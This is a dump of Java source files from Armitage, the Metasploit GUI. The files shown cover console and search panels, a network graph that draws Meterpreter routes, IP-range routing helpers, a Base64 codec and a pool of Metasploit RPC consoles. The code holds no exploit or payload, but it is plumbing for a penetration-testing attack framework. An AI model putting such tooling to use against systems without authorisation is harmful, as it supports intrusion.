/* this is a work-around for Windows where the user can't highlight
text because of this attempt to get focus back to the input area */
if ((System.getProperty("os.name") + "").indexOf("Windows") == -1 && (System.getProperty("os.name") + "").indexOf("Mac") == -1)
input.requestFocusInWindow();
}
}
public boolean requestFocusInWindow() {
return input.requestFocusInWindow();
}
public void focusLost(FocusEvent ev) {
}
}

View File

@ -0,0 +1,9 @@
package console;
import java.awt.event.MouseEvent;
/** an interface to accept a clicked on word and a mouse event... it's up to the implementor to decide
what should happen with this magical information */
public interface ConsolePopup {
public void showPopup(String word, MouseEvent ev);
}

View File

@ -0,0 +1,220 @@
package console;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.swing.text.*;
import java.awt.*;
import java.awt.event.*;
import java.io.PrintStream;
import java.util.*;
/** A generic multi-feature console for use in the Armitage network attack tool */
public class Display extends JPanel {
protected JTextArea console;
protected Properties display;
protected Font consoleFont;
protected LinkedList components = new LinkedList();
private void updateComponentLooks() {
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
Iterator i = components.iterator();
while (i.hasNext()) {
JComponent component = (JComponent)i.next();
component.setForeground(foreground);
component.setBackground(background);
component.setFont(consoleFont);
if (component == console) {
component.setBorder(BorderFactory.createEmptyBorder(0, 5, 0, 0));
}
else {
component.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0));
}
if (component instanceof JTextComponent) {
JTextComponent tcomponent = (JTextComponent)component;
tcomponent.setCaretColor(foreground.brighter());
}
}
}
public void setText(final String _text) {
if (SwingUtilities.isEventDispatchThread()) {
console.setText(_text);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
console.setText(_text);
}
});
}
}
public Display() {
this(new Properties());
}
public Display(Properties display) {
this.display = display;
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
setLayout(new BorderLayout());
setBorder(new EmptyBorder(2, 2, 2, 2));
/* init the console */
console = new JTextArea();
console.setEditable(false);
console.setLineWrap(true);
JScrollPane scroll = new JScrollPane(
console,
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
add(scroll, BorderLayout.CENTER);
components.add(console);
components.add(scroll);
components.add(this);
updateComponentLooks();
/* right-click, Copy menu, for the console */
new ui.CopyPopup(console);
/* add keyboard shortcuts */
/* Alt+K - clear screen */
addActionForKeySetting("console.clear_screen.shortcut", "ctrl K", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
console.setText("");
}
});
/* Ctrl+A - select all */
addActionForKeySetting("console.select_all.shortcut", "ctrl A", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
console.requestFocus();
console.selectAll();
}
});
setupFindShortcutFeature();
setupPageShortcutFeature();
setupFontShortcutFeature();
}
private void setupFindShortcutFeature() {
final Properties myDisplay = display;
final Display myConsole = this;
addActionForKeySetting("console.find.shortcut", "ctrl pressed F", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
Color highlight = Color.decode(myDisplay.getProperty("console.highlight.color", "#0000cc"));
final SearchPanel search = new SearchPanel(console, highlight);
final JPanel north = new JPanel();
JButton goaway = new JButton("X ");
SearchPanel.removeBorderFromButton(goaway);
goaway.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
myConsole.remove(north);
myConsole.validate();
search.clear();
}
});
north.setLayout(new BorderLayout());
north.add(search, BorderLayout.CENTER);
north.add(goaway, BorderLayout.EAST);
myConsole.add(north, BorderLayout.NORTH);
myConsole.validate();
search.requestFocusInWindow();
search.requestFocus();
}
});
}
private void setupFontShortcutFeature() {
addActionForKeySetting("console.font_size_plus.shortcut", "ctrl EQUALS", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
changeFontSize(1.0f);
}
});
addActionForKeySetting("console.font_size_minus.shortcut", "ctrl MINUS", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
changeFontSize(-1.0f);
}
});
/* Ctrl+0 - reset the font to the default size */
addActionForKeySetting("console.font_size_reset.shortcut", "ctrl pressed 0", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
updateComponentLooks();
}
});
}
private void setupPageShortcutFeature() {
addActionForKeySetting("console.page_up.shortcut", "pressed PAGE_UP", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
Rectangle visible = new Rectangle(console.getVisibleRect());
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() - (visible.getHeight() / 2) ), 1, 1);
if (scrollme.getY() <= 0) {
visible.setLocation(0, 0);
}
console.scrollRectToVisible(scrollme);
}
});
addActionForKeySetting("console.page_down.shortcut", "pressed PAGE_DOWN", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
Rectangle visible = new Rectangle(console.getVisibleRect());
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() + visible.getHeight() + (visible.getHeight() / 2) ), 1, 1);
if (scrollme.getY() >= console.getHeight()) {
visible.setLocation(0, console.getHeight());
}
console.scrollRectToVisible(scrollme);
}
});
}
private void changeFontSize(float difference) {
consoleFont = consoleFont.deriveFont(consoleFont.getSize2D() + difference);
updateComponentLooks();
}
public void addActionForKeyStroke(KeyStroke key, Action action) {
console.getKeymap().addActionForKeyStroke(key, action);
}
public void addActionForKey(String key, Action action) {
addActionForKeyStroke(KeyStroke.getKeyStroke(key), action);
}
public void addActionForKeySetting(String key, String dvalue, Action action) {
KeyStroke temp = KeyStroke.getKeyStroke(display.getProperty(key, dvalue));
if (temp != null) {
addActionForKeyStroke(temp, action);
}
}
}

View File

@ -0,0 +1,155 @@
package console;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.swing.text.*;
import java.awt.*;
import java.awt.event.*;
import java.util.*;
/** a search panel for use with a JTextComponent */
public class SearchPanel extends JPanel implements ActionListener {
protected JTextField search = null;
protected JLabel status = null;
protected JTextComponent component = null;
protected int index = 0;
protected Color highlight = null;
public void actionPerformed(ActionEvent event) {
if (event.getActionCommand().equals(">")) {
index++;
scrollToIndex();
}
else if (event.getActionCommand().equals("<")) {
index--;
scrollToIndex();
}
else {
searchBuffer();
scrollToIndex();
}
}
private void scrollToIndex() {
Highlighter.Highlight highlights[] = component.getHighlighter().getHighlights();
if (highlights.length == 0) {
if (search.getText().trim().length() > 0)
status.setText("Phrase not found");
return;
}
try {
if (index < 0) {
index = (highlights.length - 1) - index;
}
int offset = index % highlights.length;
status.setText((offset + 1) + " of " + highlights.length);
int position = highlights[offset].getStartOffset();
Rectangle location = component.modelToView(position);
component.scrollRectToVisible(location);
}
catch (BadLocationException ex) {
//...
}
}
private void searchBuffer() {
clear();
String searchstr = search.getText().trim();
if (searchstr.length() == 0)
return;
Highlighter.HighlightPainter painter = new DefaultHighlighter.DefaultHighlightPainter( highlight );
try {
String text = component.getText();
int lastIndex = -1;
while ((lastIndex = text.indexOf(searchstr, lastIndex + 1)) != -1) {
component.getHighlighter().addHighlight(
lastIndex,
lastIndex + searchstr.length(),
painter);
}
}
catch (Exception ex) {
// ...
}
}
static void removeBorderFromButton(JButton button) {
button.setOpaque(false);
button.setContentAreaFilled(false);
button.setBorder(new EmptyBorder(2, 2, 2, 2));
}
public void requestFocus() {
search.requestFocus();
}
public void clear() {
component.getHighlighter().removeAllHighlights();
index = 0;
status.setText("");
}
public SearchPanel(JTextComponent component, Color highlight) {
this.component = component;
this.highlight = highlight;
setLayout(new BorderLayout());
setBorder(new EmptyBorder(1, 1, 1, 1));
/* init the buttons */
JButton previous = new JButton("<");
previous.setActionCommand("<");
JButton next = new JButton(">");
next.setActionCommand(">");
removeBorderFromButton(previous);
removeBorderFromButton(next);
previous.addActionListener(this);
next.addActionListener(this);
JPanel buttons = new JPanel();
buttons.setLayout(new GridLayout(1, 2));
buttons.add(previous);
buttons.add(next);
/* init the search field */
search = new JTextField(15);
search.addActionListener(this);
add(search, BorderLayout.WEST);
/* holder */
JPanel holder = new JPanel();
holder.setLayout(new FlowLayout());
holder.add(new JLabel("Find: "));
holder.add(search);
holder.add(buttons);
add(holder, BorderLayout.WEST);
/* label for count information */
status = new JLabel("");
add(status, BorderLayout.CENTER);
}
}

View File

@ -0,0 +1,90 @@
package graph;
import java.util.ArrayList;
import java.util.List;
import com.mxgraph.model.mxIGraphModel;
import com.mxgraph.util.mxRectangle;
import com.mxgraph.view.mxGraph;
import com.mxgraph.layout.*;
public class CircleLayout extends mxCircleLayout
{
public CircleLayout(mxGraph graph, double r) {
super(graph, r);
}
/* override this so it doesn't make the circle so damned big :P */
public void execute(Object parent, int width, int height, double zoom)
{
mxIGraphModel model = graph.getModel();
model.beginUpdate();
try
{
double max = 0;
Double top = null;
Double left = null;
List<Object> vertices = new ArrayList<Object>();
int childCount = model.getChildCount(parent);
for (int i = 0; i < childCount; i++)
{
Object cell = model.getChildAt(parent, i);
if (!isVertexIgnored(cell))
{
vertices.add(cell);
mxRectangle bounds = getVertexBounds(cell);
if (top == null)
{
top = bounds.getY();
}
else
{
top = Math.min(top, bounds.getY());
}
if (left == null)
{
left = bounds.getX();
}
else
{
left = Math.min(left, bounds.getX());
}
max = Math.min(max, Math.max(bounds.getWidth(), bounds.getHeight()));
}
else if (!isEdgeIgnored(cell))
{
if (isResetEdges())
{
graph.resetEdge(cell);
}
if (isDisableEdgeStyle())
{
setEdgeStyleEnabled(cell, false);
}
}
}
int vertexCount = vertices.size();
double r = (width > height ? height : width) / (2.80 * zoom);
// Moves the circle to the specified origin
if (moveCircle)
{
top = x0;
left = y0;
}
circle(vertices.toArray(), r, left.doubleValue(), top.doubleValue());
}
finally
{
model.endUpdate();
}
}
}

View File

@ -0,0 +1,9 @@
package graph;
import java.awt.event.MouseEvent;
/** an interface to accept a clicked on word and a mouse event... it's up to the implementor to decide
what should happen with this magical information */
public interface GraphPopup {
public void showGraphPopup(String[] nodes, MouseEvent ev);
}

View File

@ -0,0 +1,495 @@
package graph;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import java.awt.*;
import java.awt.event.*;
import java.util.*;
import com.mxgraph.swing.*;
import com.mxgraph.view.*;
import com.mxgraph.model.*;
import com.mxgraph.layout.*;
import com.mxgraph.swing.util.*;
import com.mxgraph.swing.handler.*;
import com.mxgraph.swing.view.*;
import com.mxgraph.util.*;
import java.awt.image.*;
public class NetworkGraph extends JComponent implements ActionListener {
protected mxGraph graph;
protected mxGraphComponent component;
protected Object parent;
protected Properties display;
protected boolean isAlive = true;
protected String layout = null;
/** this component listens for an actionevent from the GUI to tell it when the graph is no longer visible */
public void actionPerformed(ActionEvent ev) {
isAlive = false;
}
/** returns true if this graph is still in a tab, false otherwise */
public boolean isAlive() {
return isAlive;
}
/* keeps track of the nodes and their images */
protected Map nodeImages = new HashMap();
private class NetworkGraphCanvas extends mxInteractiveCanvas {
public Image loadImage(String image) {
if (nodeImages.containsKey(image)) {
return (Image)nodeImages.get(image);
}
return super.loadImage(image);
}
}
/* this class exists so we can create a canvas that lets us add our own image loading handler */
private class NetworkGraphComponent extends mxGraphComponent {
public NetworkGraphComponent(mxGraph graph) {
super(graph);
setBorder(BorderFactory.createEmptyBorder());
getHorizontalScrollBar().setUnitIncrement(15);
getHorizontalScrollBar().setBlockIncrement(60);
getVerticalScrollBar().setUnitIncrement(15);
getVerticalScrollBar().setBlockIncrement(60);
}
public void paint(Graphics g) {
Graphics2D g2 = (Graphics2D)g;
g2.setRenderingHint(RenderingHints.KEY_INTERPOLATION,RenderingHints.VALUE_INTERPOLATION_BICUBIC);
g2.setRenderingHint(RenderingHints.KEY_RENDERING,RenderingHints.VALUE_RENDER_QUALITY);
g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON);
super.paint(g2);
}
public mxInteractiveCanvas createCanvas() {
return new NetworkGraphCanvas();
}
}
/** a popup menu for the graph */
protected GraphPopup popup = null;
public GraphPopup getGraphPopup() {
return popup;
}
public void setGraphPopup(GraphPopup popup) {
this.popup = popup;
}
public NetworkGraph() {
this(new Properties());
}
public Image getScreenshot() {
LinkedList cells = new LinkedList();
/* add the edges to our list of cells to render */
Iterator i = nodes.values().iterator();
while (i.hasNext()) {
Object node = i.next();
cells.addAll(Arrays.asList(graph.getEdges(node)));
}
/* collect all of the nodes */
cells.addAll(nodes.values());
/* render the cells y0 */
return mxCellRenderer.createBufferedImage(
graph,
cells.toArray(),
zoom,
null,
true,
null,
new NetworkGraphCanvas());
}
public void setTransferHandler(TransferHandler h) {
component.setTransferHandler(h);
}
public void clearSelection() {
graph.clearSelection();
}
public void selectAll() {
graph.selectAll();
}
public NetworkGraph(Properties display) {
/* update a few global properties */
mxConstants.VERTEX_SELECTION_COLOR = Color.decode(display.getProperty("graph.selection.color", "#00ff00"));
mxConstants.EDGE_SELECTION_COLOR = Color.decode(display.getProperty("graph.edge.color", "#3c6318"));
/* on with the show */
this.display = display;
graph = new mxGraph() {
public String getToolTipForCell(Object cell) {
if (tooltips.get(cell) == null) {
return "";
}
return tooltips.get(cell) + "";
}
};
graph.setAutoOrigin(true);
graph.setCellsEditable(false);
graph.setCellsResizable(false);
graph.setCellsBendable(false);
graph.setAllowDanglingEdges(false);
graph.setSplitEnabled(false);
graph.setKeepEdgesInForeground(false);
graph.setKeepEdgesInBackground(true);
parent = graph.getDefaultParent();
/* create the component... */
component = new NetworkGraphComponent(graph);
component.setFoldingEnabled(true);
component.setConnectable(false);
component.setCenterPage(true);
component.setToolTips(true);
graph.setDropEnabled(true);
/* enable the rubber band selection non-sense */
new mxRubberband(component);
/* setup the mouse listener */
addPopupListener();
/* set the background of the component */
component.getViewport().setOpaque(false);
component.setOpaque(true);
component.setBackground(Color.decode(display.getProperty("graph.background.color", "#111111")));
/* add the graph component to this object */
setLayout(new BorderLayout());
add(component, BorderLayout.CENTER);
/* setup the keyboard shortcuts */
setupShortcuts();
}
public void addActionForKeyStroke(KeyStroke key, Action action) {
component.getActionMap().put(key.toString(), action);
component.getInputMap().put(key, key.toString());
}
public void addActionForKey(String key, Action action) {
addActionForKeyStroke(KeyStroke.getKeyStroke(key), action);
}
public void addActionForKeySetting(String key, String dvalue, Action action) {
KeyStroke temp = KeyStroke.getKeyStroke(display.getProperty(key, dvalue));
if (temp != null) {
addActionForKeyStroke(temp, action);
}
}
public void doStackLayout() {
if (this.layout != null)
this.layout = "stack";
mxGraphLayout layout = new mxStackLayout(graph, true, 25);
layout.execute(parent);
}
public void doHierarchicalLayout() {
if (this.layout != null)
this.layout = "hierarchical";
mxGraphLayout layout = new com.mxgraph.layout.hierarchical.mxHierarchicalLayout(graph);
layout.execute(parent);
}
public void doCircleLayout() {
if (this.layout != null)
this.layout = "circle";
CircleLayout layout = new CircleLayout(graph, 100.0);
layout.execute(parent, getWidth(), getHeight(), zoom);
}
public void doTreeLayout() {
mxGraphLayout layout = new mxFastOrganicLayout(graph);
layout.execute(parent);
}
private void setupShortcuts() {
addActionForKeySetting("graph.clear_selection.shortcut", "pressed ESCAPE", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
clearSelection();
}
});
addActionForKeySetting("graph.select_all.shortcut", "ctrl pressed A", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
selectAll();
}
});
addActionForKeySetting("graph.zoom_in.shortcut", "ctrl pressed EQUALS", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
zoom(0.10);
}
});
addActionForKeySetting("graph.zoom_out.shortcut", "ctrl pressed MINUS", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
zoom(-0.10);
}
});
addActionForKeySetting("graph.zoom_reset.shortcut", "ctrl pressed 0", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
resetZoom();
}
});
addActionForKeySetting("graph.arrange_icons_stack.shortcut", "ctrl pressed S", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
doStackLayout();
}
});
addActionForKeySetting("graph.arrange_icons_circle.shortcut", "ctrl pressed C", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
doCircleLayout();
}
});
addActionForKeySetting("graph.arrange_icons_hierarchical.shortcut", "ctrl pressed H", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
doHierarchicalLayout();
}
});
}
public String getCellAt(Point p) {
Point q = component.getViewport().getViewPosition();
Point z = new Point((int)(p.getX() + q.getX()), (int)(p.getY() + q.getY()));
mxCell cell = (mxCell)component.getCellAt((int)z.getX(), (int)z.getY());
if (cell != null)
return cell.getId();
return null;
}
public String[] getSelectedHosts() {
mxCell cell;
java.util.List sel = new LinkedList();
Object[] cells = graph.getSelectionCells();
for (int y = 0; y < cells.length; y++) {
cell = (mxCell)cells[y];
if (nodes.containsKey(cell.getId()))
sel.add(cell.getId());
}
String[] selected = new String[sel.size()];
Iterator i = sel.iterator();
for (int x = 0; i.hasNext(); x++) {
selected[x] = i.next() + "";
}
return selected;
}
private void addPopupListener() {
component.getGraphControl().addMouseListener(new MouseAdapter() {
public void handleEvent(MouseEvent ev) {
if (ev.isPopupTrigger() && getGraphPopup() != null) {
getGraphPopup().showGraphPopup(getSelectedHosts(), ev);
ev.consume();
}
}
public void mousePressed(MouseEvent ev) {
handleEvent(ev);
}
public void mouseReleased(MouseEvent ev) {
handleEvent(ev);
}
public void mouseClicked(MouseEvent ev) {
handleEvent(ev);
}
});
}
protected double zoom = 1.0;
public void resetZoom() {
zoom = 1.0;
zoom(0.0);
}
public void zoom(double factor) {
zoom += factor;
component.zoomTo(zoom, true);
}
public void start() {
graph.getModel().beginUpdate();
nodes.startUpdates();
}
public void setAutoLayout(String layout) {
this.layout = layout;
autoLayout();
}
public void autoLayout() {
if (layout == null)
return;
if (layout.equals("circle"))
doCircleLayout();
if (layout.equals("stack"))
doStackLayout();
if (layout.equals("hierarchical"))
doHierarchicalLayout();
}
public void end() {
graph.getModel().endUpdate();
if (SwingUtilities.isEventDispatchThread()) {
autoLayout();
graph.refresh();
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
autoLayout();
graph.refresh();
}
});
}
}
/** delete nodes from this graph */
public void deleteNodes(String[] ids) {
Object[] cells = new Object[ids.length];
for (int x = 0; x < ids.length; x++) {
cells[x] = nodes.remove(ids[x]);
}
graph.removeCells(cells, true);
}
/** delete all nodes that were not "touched" since start() was last called */
public void deleteNodes() {
java.util.List untouched = nodes.clearUntouched();
Object[] cells = new Object[untouched.size()];
Iterator i = untouched.iterator();
for (int x = 0; i.hasNext(); x++) {
Map.Entry entry = (Map.Entry)i.next();
cells[x] = entry.getValue();
}
graph.removeCells(cells, true);
}
protected TouchMap nodes = new TouchMap();
protected LinkedList edges = new LinkedList();
/** highlight a route (maybe to show it's in use...) */
public void highlightRoute(String src, String dst) {
Object[] cells = graph.getEdgesBetween(nodes.get(src), nodes.get(dst), true);
if (cells.length == 0)
return;
((mxCell)cells[0]).setStyle("strokeColor=" + display.getProperty("graph.edge_highlight.color", "#00ff00") + ";strokeWidth=4");
}
/** show the meterpreter routes . :) */
public void setRoutes(Route[] routes) {
/* clear the existing edges... */
Iterator ij = edges.iterator();
while (ij.hasNext()) {
mxCell cell = (mxCell)ij.next();
graph.getModel().remove(cell);
}
edges = new LinkedList();
/* start updating the graph with our new shtuff */
Iterator i = nodes.entrySet().iterator();
while (i.hasNext()) {
Map.Entry temp = (Map.Entry)i.next();
for (int x = 0; x < routes.length; x++) {
mxCell start = (mxCell)nodes.get(routes[x].getGateway());
if ( start != null && !temp.getKey().equals(routes[x].getGateway()) ) {
if ( routes[x].shouldRoute((String)temp.getKey()) ) {
mxCell node = (mxCell)temp.getValue();
mxCell edge = (mxCell)graph.insertEdge(parent, null, "", start, node);
edge.setStyle("strokeColor=" + display.getProperty("graph.edge.color", "#3c6318") + ";strokeWidth=4");
edges.add(edge);
}
}
}
}
}
protected Map tooltips = new HashMap();
public Object addNode(String id, String label, Image image, String tooltip) {
nodeImages.put(id, image);
mxCell cell;
if (!nodes.containsKey(id)) {
cell = (mxCell)graph.insertVertex(parent, id, label, 0, 0, 125, 97);
nodes.put(id, cell);
}
else {
cell = (mxCell)nodes.get(id);
cell.setValue(label);
}
nodes.touch(id);
/* set the tooltip for the cell */
tooltips.put(cell, tooltip);
/* create the style for this node based on the properties object */
StringBuffer style = new StringBuffer();
style.append("shape=image;image=" + id + ";");
style.append("fontColor=" + display.getProperty("graph.foreground.color", "#cccccc") + ";");
Font font = Font.decode(display.getProperty("graph.font.font", "Monospaced BOLD 14"));
style.append("fontSize=" + font.getSize() + ";");
style.append("fontFamily=" + font.getFamily() + ";");
style.append("fontStyle=" + font.getStyle() + ";");
style.append("verticalLabelPosition=bottom;verticalAlign=top");
cell.setStyle(style.toString());
return cell;
}
public boolean requestFocusInWindow() {
return component.requestFocusInWindow();
}
}

View File

@ -0,0 +1,112 @@
package graph;
import java.util.*;
public class Route {
/** convert a long to an ip address */
public static long ipToLong(String address) {
if (address == null)
return 0L;
String[] quads = address.split("\\.");
long result = 0;
/* this is a fallback in case one of the IP addresses is malformed */
if (quads.length != 4)
return 0L;
result += Integer.parseInt(quads[3]);
result += Long.parseLong(quads[2]) << 8L;
result += Long.parseLong(quads[1]) << 16L;
result += Long.parseLong(quads[0]) << 24L;
return result;
}
private static final long RANGE_MAX = ipToLong("255.255.255.255");
protected long begin;
protected long end;
protected String gateway;
protected String network;
protected String mask;
public Route(String address) {
String[] description = address.split("/");
String host = "", network = "";
if (description.length == 1) {
host = address;
String[] quads = address.split("\\.");
if (quads[0].equals("0")) {
network = "1";
}
else if (quads[1].equals("0")) {
network = "8";
}
else if (quads[2].equals("0")) {
network = "16";
}
else if (quads[3].equals("0")) {
network = "24";
}
else {
network = "32";
}
}
else {
host = description[0];
network = description[1];
}
this.network = host;
this.mask = network;
this.gateway = "undefined";
begin = ipToLong(host);
try {
end = begin + (RANGE_MAX >> Integer.parseInt(network));
}
catch (Exception ex) {
System.err.println(network + " is malformed!");
}
}
/** create an object to represent a network and where it's routing through */
public Route(String address, String networkMask, String gateway) {
begin = ipToLong(address);
end = begin + (RANGE_MAX - ipToLong(networkMask));
this.gateway = gateway;
this.network = address;
this.mask = networkMask;
}
public boolean equals(Object o) {
if (o instanceof Route) {
Route p = (Route)o;
return p.begin == begin && p.end == end && p.gateway.equals(gateway);
}
return false;
}
public int hashCode() {
return (int)(begin + end + gateway.hashCode());
}
/** return the gateway */
public String getGateway() {
return gateway;
}
/** check if this route applies to the specified network address */
public boolean shouldRoute(String address) {
long check = ipToLong(address);
return check >= begin && check <= end;
}
public String toString() {
return network + "/" + mask + " via " + gateway;
}
}

View File

@ -0,0 +1,31 @@
package graph;
import java.util.*;
/** A touch map lets me start an operation, "touch" each updated node, and then delete any untouched node */
public class TouchList extends LinkedList {
protected Set touched = new HashSet();
public void startUpdates() {
touched.clear();
}
public void touch(Object key) {
touched.add(key);
}
public List clearUntouched() {
List results = new LinkedList();
Iterator i = this.iterator();
while (i.hasNext()) {
Object j = i.next();
if (!touched.contains(j)) {
results.add(j);
i.remove();
}
}
return results;
}
}

View File

@ -0,0 +1,31 @@
package graph;
import java.util.*;
/** A touch map lets me start an operation, "touch" each updated node, and then delete any untouched node */
public class TouchMap extends HashMap {
protected Set touched = new HashSet();
public void startUpdates() {
touched.clear();
}
public void touch(Object key) {
touched.add(key);
}
public List clearUntouched() {
List results = new LinkedList();
Iterator i = this.entrySet().iterator();
while (i.hasNext()) {
Map.Entry j = (Map.Entry)i.next();
if (!touched.contains(j.getKey())) {
results.add(j);
i.remove();
}
}
return results;
}
}

View File

@ -0,0 +1,8 @@
package msf;
import java.io.*;
public interface Async {
public void execute_async(String methodName);
public void execute_async(String methodName, Object[] args);
}

View File

@ -0,0 +1,133 @@
package msf;
import java.io.*;
/**
* Simple Base64 encoding/decoding. Very loosely based on Apache Base64 class.
*
* @author scriptjunkie
*
* Taken from the MSF Java GUI Framework.
*/
public class Base64 {
private static final char intToBase64[] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',
'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd',
'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', '+', '/'
};
private static final byte base64ToInt[] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, 62, -1, -1, -1, 63, 52, 53,
54, 55, 56, 57, 58, 59, 60, 61, -1, -1,
-1, -1, -1, -1, -1, 0, 1, 2, 3, 4,
5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24,
25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
49, 50, 51
};
public static String encode(String source) {
try {
return encode(source.getBytes("UTF-8"));
}
catch (Exception ex) {
return encode(source.getBytes());
}
}
/** Converts a byte array to a bae64-encoded String. */
public static String encode(byte source[]) {
int offset = 0;
int num = 0;
int numBytes = 0;
StringBuilder sb = new StringBuilder();
for (int i = 0; i < source.length; i++) {
int b = source[offset++];
if (b < 0)
b += 256;
num = (num << 8) + b;
if (++numBytes != 3)
continue;
sb.append(intToBase64[num >> 18]);
sb.append(intToBase64[num >> 12 & 0x3f]);
sb.append(intToBase64[num >> 6 & 0x3f]);
sb.append(intToBase64[num & 0x3f]);
num = 0;
numBytes = 0;
}
if (numBytes > 0) {
if (numBytes == 1) {
sb.append(intToBase64[num >> 2]);
sb.append(intToBase64[num << 4 & 0x3f]);
sb.append("==");
} else {
sb.append(intToBase64[num >> 10]);
sb.append(intToBase64[num >> 4 & 0x3f]);
sb.append(intToBase64[num << 2 & 0x3f]);
sb.append('=');
}
}
return sb.toString();
}
/** Decodes a Base64-encoded String to a byte array. */
public static byte[] decode(String source) {
int num=0;
int numBytes=0;
int eofBytes = 0;
ByteArrayOutputStream bout = new ByteArrayOutputStream();
for (int i = 0; i < source.length(); i++) {
char c = source.charAt(i);
if (Character.isWhitespace(c))
continue;
if (c == '=') {
eofBytes++;
num = num << 6;
switch (++numBytes) {
case 1:
case 2:
throw new RuntimeException("Unexpected end of stream character (=)");
case 3:
break;
case 4:
bout.write((byte) (num >> 16));
if (eofBytes == 1)
bout.write((byte) (num >> 8));
break;
case 5:
throw new RuntimeException("Trailing garbage detected");
default:
throw new IllegalStateException("Invalid value for numBytes");
}
continue;
}
if (eofBytes > 0)
throw new RuntimeException("Base64 characters after end of stream character (=) detected.");
if (c >= 0 && c < Base64.base64ToInt.length) {
int result = Base64.base64ToInt[c];
if (result >= 0) {
num = (num << 6) + result;
if (++numBytes != 4)
continue;
bout.write((byte) (num >> 16));
bout.write((byte) (num >> 8 & 0xff));
bout.write((byte) (num & 0xff));
num = 0;
numBytes = 0;
continue;
}
}
if (!Character.isWhitespace(c))
throw new RuntimeException("Invalid Base64 character: " + (int) c);
}
return bout.toByteArray();
}
}

View File

@ -0,0 +1,100 @@
package msf;
import java.util.*;
import java.io.IOException;
/* Pool Metasploit console ids and make them available for reuse. Why? Two reasons. One,
Metasploit 4.3-release has a nice race condition where every console.create call is
a game of Russian roulette with an opportunity to bring the entire Metasploit daemon
down. Two, each console.create call takes around 300ms. Armitage uses temporary consoles
for a lot of things, this will help make these uses slightly snappier. */
public class ConsolePool implements RpcConnection {
protected RpcConnection client;
protected Set inactive = new HashSet();
protected Set tracked = new HashSet();
public Object execute(String methodName) throws IOException {
return execute(methodName, new Object[0]);
}
public Object execute(String methodName, Object[] params) throws IOException {
if (methodName.equals("console.allocate")) {
return allocate();
}
else if (methodName.equals("console.release")) {
release((String)params[0]);
}
else if (methodName.equals("console.release_and_destroy")) {
synchronized (this) {
tracked.remove((String)params[0]);
}
release((String)params[0]);
}
return new HashMap();
}
public ConsolePool(RpcConnection client) {
this.client = client;
}
public Map allocate() throws IOException {
synchronized (this) {
while (inactive.size() > 0) {
Iterator i = inactive.iterator();
Map rv = (Map)i.next();
i.remove();
/* clear any data from the console before we return it */
Map temp = (Map)client.execute("console.read", new Object[] { rv.get("id") + "" });
/* this is a sanity check to make sure this console is not dead or hung */
if ("true".equals(temp.get("busy")) || "".equals(temp.get("prompt"))) {
((RpcAsync)client).execute_async("console.destroy", new Object[] { rv.get("id") + "" });
//System.err.println("Kill Console: " + rv.get("id") + " => " + temp);
}
else {
//System.err.println("Reusing: " + rv.get("id"));
return rv;
}
}
}
Map result = (Map)client.execute("console.create");
/* keep track of consoles that are in the pool, so we know whether to
destroy or release them when asked to. We only release pooled consoles
because we know they're used a certain way (e.g., for temporary purposes,
not long running tasks that a user may have setup) */
synchronized (this) {
tracked.add(result.get("id") + "");
}
/* swallow the banner... making sure this is done will be part of the
contract of the console pool */
client.execute("console.read", new Object[] { result.get("id") });
//System.err.println("New console: " + result);
return result;
}
public void release(String id) throws IOException {
/* make sure we're in a "clean" console */
boolean b;
synchronized (this) {
b = tracked.contains(id);
}
if (b) {
client.execute("console.write", new Object[] { id, "back\n" });
synchronized (this) {
HashMap rv = new HashMap();
rv.put("id", id);
//System.err.println("Added: " + rv + " to pool");
inactive.add(rv);
}
}
else {
//System.err.println("Destroyed: " + id);
client.execute("console.destroy", new Object[] { id });
}
}
}

View File

@ -0,0 +1,417 @@
package msf;
